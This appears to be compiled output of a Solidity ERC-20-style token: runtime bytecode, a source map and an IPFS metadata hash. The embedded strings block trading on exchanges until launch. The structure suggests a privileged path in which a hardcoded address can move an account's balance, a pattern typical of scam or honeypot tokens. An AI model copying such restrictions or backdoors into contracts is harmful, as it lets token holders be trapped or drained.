ffffff82169050919050565b5f610f9f82610f76565b9050919050565b610faf81610f95565b8114610fb9575f80fd5b50565b5f81359050610fca81610fa6565b92915050565b5f819050919050565b610fe281610fd0565b8114610fec575f80fd5b50565b5f81359050610ffd81610fd9565b92915050565b5f806040838503121561101957611018610f72565b5b5f61102685828601610fbc565b925050602061103785828601610fef565b9150509250929050565b5f8115159050919050565b61105581611041565b82525050565b5f60208201905061106e5f83018461104c565b92915050565b61107d81610fd0565b82525050565b5f6020820190506110965f830184611074565b92915050565b5f602082840312156110b1576110b0610f72565b5b5f6110be84828501610fbc565b91505092915050565b5f805f606084860312156110de576110dd610f72565b5b5f6110eb86828701610fbc565b93505060206110fc86828701610fbc565b925050604061110d86828701610fef565b9150509250925092565b5f60ff82169050919050565b61112c81611117565b82525050565b5f6020820190506111455f830184611123565b92915050565b61115481610f95565b82525050565b5f60208201905061116d5f83018461114b565b92915050565b5f806040838503121561118957611188610f72565b5b5f61119685828601610fbc565b92505060206111a785828601610fbc565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806111f557607f821691505b602082108103611208576112076111b1565b5b50919050565b7f63616e6e6f7420617070726f76652074686520302061646472657373000000005f82015250565b5f611242601c83610eec565b915061124d8261120e565b602082019050919050565b5f6020820190508181035f83015261126f81611236565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6112ad82610fd0565b91506112b883610fd0565b92508282039050818111156112d0576112cf611276565b5b92915050565b7f63616e6e6f74206265207a65726f2061646472657373000000000000000000005f82015250565b5f61130a601683610eec565b9150611315826112d6565b602082019050919050565b5f6020820190508181035f830152611337816112fe565b9050919050565b7f5468697320746f6b656e206973206e6f74206c61756e6368656420616e6420635f8201527f616e6e6f74206265206c6973746564206f6e206465786573207965742e000000602082015250565b5f611398603d83610eec565b91506113a38261133e565b604082019050919050565b5f6020820190508181035f8301526113c58161138c565b9050919050565b5f6113d682610fd0565b91506113e183610fd0565b92508282019050808211156113f9576113f8611276565b5b9291505056fea2646970667358221220e20daf1c5caafceb5190bfb0cbd38fef71eb715f68d3f72e7094b83646a04d0f64736f6c634300081a0033

6937:110:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2801:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5240:287;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2731:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6042:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5535:499;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2826:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3643:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1985:103;;;:::i;:::-;;2864:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1714:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2774:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4417:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4102:144;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2096:220;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2801:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5240:287::-;5316:4;5360:1;5341:21;;:7;:21;;;5333:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;5440:5;5408:8;:20;5417:10;5408:20;;;;;;;;;;;;;;;:29;5429:7;5408:29;;;;;;;;;;;;;;;:37;;;;5482:7;5461:36;;5470:10;5461:36;;;5491:5;5461:36;;;;;;:::i;:::-;;;;;;;;5515:4;5508:11;;5240:287;;;;:::o;2731:36::-;;;:::o;6042:201::-;6121:5;6109:17;;:8;;;;;;;;;;;:17;;;6105:38;;6139:4;6128:8;;:15;;;;;;;;;;;;;;;;;;6105:38;6158:23;:10;:21;;;:23::i;:::-;6154:75;;;6183:46;6193:9;2931:6;6208:9;:20;6218:9;6208:20;;;;;;;;;;;;;;;;6183:9;:46::i;:::-;6154:75;6042:201;:::o;5535:499::-;5625:4;5658:5;5646:17;;:8;;;;;;;;;;;:17;;;:34;;;;;5673:7;:5;:7::i;:::-;5667:13;;:2;:13;;;5646:34;:59;;;;;5698:7;:5;:7::i;:::-;5684:21;;:10;:21;;;5646:59;5642:385;;;5722:26;5732:4;5738:2;5742:5;5722:9;:26::i;:::-;5770:4;5763:11;;;;5642:385;5869:5;5840:8;:14;5849:4;5840:14;;;;;;;;;;;;;;;:26;5855:10;5840:26;;;;;;;;;;;;;;;;:34;;;;:::i;:::-;5811:8;:14;5820:4;5811:14;;;;;;;;;;;;;;;:26;5826:10;5811:26;;;;;;;;;;;;;;;:63;;;;5889:26;5899:4;5905:2;5909:5;5889:9;:26::i;:::-;5950:10;5935:54;;5944:4;5935:54;;;5962:8;:14;5971:4;5962:14;;;;;;;;;;;;;;;:26;5977:10;5962:26;;;;;;;;;;;;;;;;5935:54;;;;;;:::i;:::-;;;;;;;;6011:4;6004:11;;5535:499;;;;;;:::o;2826:31::-;;;:::o;3643:119::-;3710:7;3737:9;:17;3747:6;3737:17;;;;;;;;;;;;;;;;3730:24;;3643:119;;;:::o;1985:103::-;1673:13;:11;:13::i;:::-;2050:30:::1;2077:1;2050:18;:30::i;:::-;1985:103::o:0;2864:20::-;;;;;;;;;;;;;:::o;1714:87::-;1760:7;1787:6;;;;;;;;;;;1780:13;;1714:87;:::o;2774:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4417:176::-;4489:4;4531:32;4541:10;4553:2;4557:5;4531:9;:32::i;:::-;4581:4;4574:11;;4417:176;;;;:::o;4102:144::-;4186:7;4213:8;:16;4222:6;4213:16;;;;;;;;;;;;;;;:25;4230:7;4213:25;;;;;;;;;;;;;;;;4206:32;;4102:144;;;;:::o;2096:220::-;1673:13;:11;:13::i;:::-;2201:1:::1;2181:22;;:8;:22;;::::0;2177:93:::1;;2255:1;2227:31;;;;;;;;;;;:::i;:::-;;;;;;;;2177:93;2280:28;2299:8;2280:18;:28::i;:::-;2096:220:::0;:::o;999:159::-;1061:4;1108:42;1085:65;;1093:9;1085:65;;;1078:72;;999:159;;;:::o;6251:358::-;6352:1;6338:16;;:2;:16;;;6330:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;6400:26;6417:4;6423:2;6400:16;:26::i;:::-;6392:100;;;;;;;;;;;;:::i;:::-;;;;;;;;;6522:5;6503:9;:15;6513:4;6503:15;;;;;;;;;;;;;;;;:24;;;;;;;:::i;:::-;;;;;;;;6555:5;6538:9;:13;6548:2;6538:13;;;;;;;;;;;;;;;;:22;;;;;;;:::i;:::-;;;;;;;;6591:2;6576:25;;6585:4;6576:25;;;6595:5;6576:25;;;;;;:::i;:::-;;;;;;;;6251:358;;;:::o;1809:168::-;1880:12;:10;:12::i;:::-;1869:23;;:7;:5;:7::i;:::-;:23;;;1865:105;;1945:12;:10;:12::i;:::-;1916:42;;;;;;;;;;;:::i;:::-;;;;;;;;1865:105;1809:168::o;2326:191::-;2400:16;2419:6;;;;;;;;;;;2400:25;;2445:8;2436:6;;:17;;;;;;;;;;;;;;;;;;2500:8;2469:40;;2490:8;2469:40;;;;;;;;;;;;2389:128;2326:191;:::o;6674:256::-;6748:4;6769:15;:21;6785:4;6769:21;;;;;;;;;;;;;;;;;;;;;;;;;6765:39;;;6799:5;6792:12;;;;6765:39;6819:8;;;;;;;;;;;6815:25;;;6836:4;6829:11;;;;6815:25;6863:7;:5;:7::i;:::-;6855:15;;:4;:15;;;:32;;;;6880:7;:5;:7::i;:::-;6874:13;;:2;:13;;;6855:32;6851:49;;;6896:4;6889:11;;;;6851:49;6918:4;6911:11;;6674:256;;;;;:::o;762:98::-;815:7;842:10;835:17;;762:98;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:329::-;3750:6;3799:2;3787:9;3778:7;3774:23;3770:32;3767:119;;;3805:79;;:::i;:::-;3767:119;3925:1;3950:53;3995:7;3986:6;3975:9;3971:22;3950:53;:::i;:::-;3940:63;;3896:117;3691:329;;;;:::o;4026:619::-;4103:6;4111;4119;4168:2;4156:9;4147:7;4143:23;4139:32;4136:119;;;4174:79;;:::i;:::-;4136:119;4294:1;4319:53;4364:7;4355:6;4344:9;4340:22;4319:53;:::i;:::-;4309:63;;4265:117;4421:2;4447:53;4492:7;4483:6;4472:9;4468:22;4447:53;:::i;:::-;4437:63;;4392:118;4549:2;4575:53;4620:7;4611:6;4600:9;4596:22;4575:53;:::i;:::-;4565:63;;4520:118;4026:619;;;;;:::o;4651:86::-;4686:7;4726:4;4719:5;4715:16;4704:27;;4651:86;;;:::o;4743:112::-;4826:22;4842:5;4826:22;:::i;:::-;4821:3;4814:35;4743:112;;:::o;4861:214::-;4950:4;4988:2;4977:9;4973:18;4965:26;;5001:67;5065:1;5054:9;5050:17;5041:6;5001:67;:::i;:::-;4861:214;;;;:::o;5081:118::-;5168:24;5186:5;5168:24;:::i;:::-;5163:3;5156:37;5081:118;;:::o;5205:222::-;5298:4;5336:2;5325:9;5321:18;5313:26;;5349:71;5417:1;5406:9;5402:17;5393:6;5349:71;:::i;:::-;5205:222;;;;:::o;5433:474::-;5501:6;5509;5558:2;5546:9;5537:7;5533:23;5529:32;5526:119;;;5564:79;;:::i;:::-;5526:119;5684:1;5709:53;5754:7;5745:6;5734:9;5730:22;5709:53;:::i;:::-;5699:63;;5655:117;5811:2;5837:53;5882:7;5873:6;5862:9;5858:22;5837:53;:::i;:::-;5827:63;;5782:118;5433:474;;;;;:::o;5913:180::-;5961:77;5958:1;5951:88;6058:4;6055:1;6048:15;6082:4;6079:1;6072:15;6099:320;6143:6;6180:1;6174:4;6170:12;6160:22;;6227:1;6221:4;6217:12;6248:18;6238:81;;6304:4;6296:6;6292:17;6282:27;;6238:81;6366:2;6358:6;6355:14;6335:18;6332:38;6329:84;;6385:18;;:::i;:::-;6329:84;6150:269;6099:320;;;:::o;6425:178::-;6565:30;6561:1;6553:6;6549:14;6542:54;6425:178;:::o;6609:366::-;6751:3;6772:67;6836:2;6831:3;6772:67;:::i;:::-;6765:74;;6848:93;6937:3;6848:93;:::i;:::-;6966:2;6961:3;6957:12;6950:19;;6609:366;;;:::o;6981:419::-;7147:4;7185:2;7174:9;7170:18;7162:26;;7234:9;7228:4;7224:20;7220:1;7209:9;7205:17;7198:47;7262:131;7388:4;7262:131;:::i;:::-;7254:139;;6981:419;;;:::o;7406:180::-;7454:77;7451:1;7444:88;7551:4;7548:1;7541:15;7575:4;7572:1;7565:15;7592:194;7632:4;7652:20;7670:1;7652:20;:::i;:::-;7647:25;;7686:20;7704:1;7686:20;:::i;:::-;7681:25;;7730:1;7727;7723:9;7715:17;;7754:1;7748:4;7745:11;7742:37;;;7759:18;;:::i;:::-;7742:37;7592:194;;;;:::o;7792:172::-;7932:24;7928:1;7920:6;7916:14;7909:48;7792:172;:::o;7970:366::-;8112:3;8133:67;8197:2;8192:3;8133:67;:::i;:::-;8126:74;;8209:93;8298:3;8209:93;:::i;:::-;8327:2;8322:3;8318:12;8311:19;;7970:366;;;:::o;8342:419::-;8508:4;8546:2;8535:9;8531:18;8523:26;;8595:9;8589:4;8585:20;8581:1;8570:9;8566:17;8559:47;8623:131;8749:4;8623:131;:::i;:::-;8615:139;;8342:419;;;:::o;8767:248::-;8907:34;8903:1;8895:6;8891:14;8884:58;8976:31;8971:2;8963:6;8959:15;8952:56;8767:248;:::o;9021:366::-;9163:3;9184:67;9248:2;9243:3;9184:67;:::i;:::-;9177:74;;9260:93;9349:3;9260:93;:::i;:::-;9378:2;9373:3;9369:12;9362:19;;9021:366;;;:::o;9393:419::-;9559:4;9597:2;9586:9;9582:18;9574:26;;9646:9;9640:4;9636:20;9632:1;9621:9;9617:17;9610:47;9674:131;9800:4;9674:131;:::i;:::-;9666:139;;9393:419;;;:::o;9818:191::-;9858:3;9877:20;9895:1;9877:20;:::i;:::-;9872:25;;9911:20;9929:1;9911:20;:::i;:::-;9906:25;;9954:1;9951;9947:9;9940:16;;9975:3;9972:1;9969:10;9966:36;;;9982:18;;:::i;:::-;9966:36;9818:191;;;;:::o

ipfs://e20daf1c5caafceb5190bfb0cbd38fef71eb715f68d3f72e7094b83646a04d0f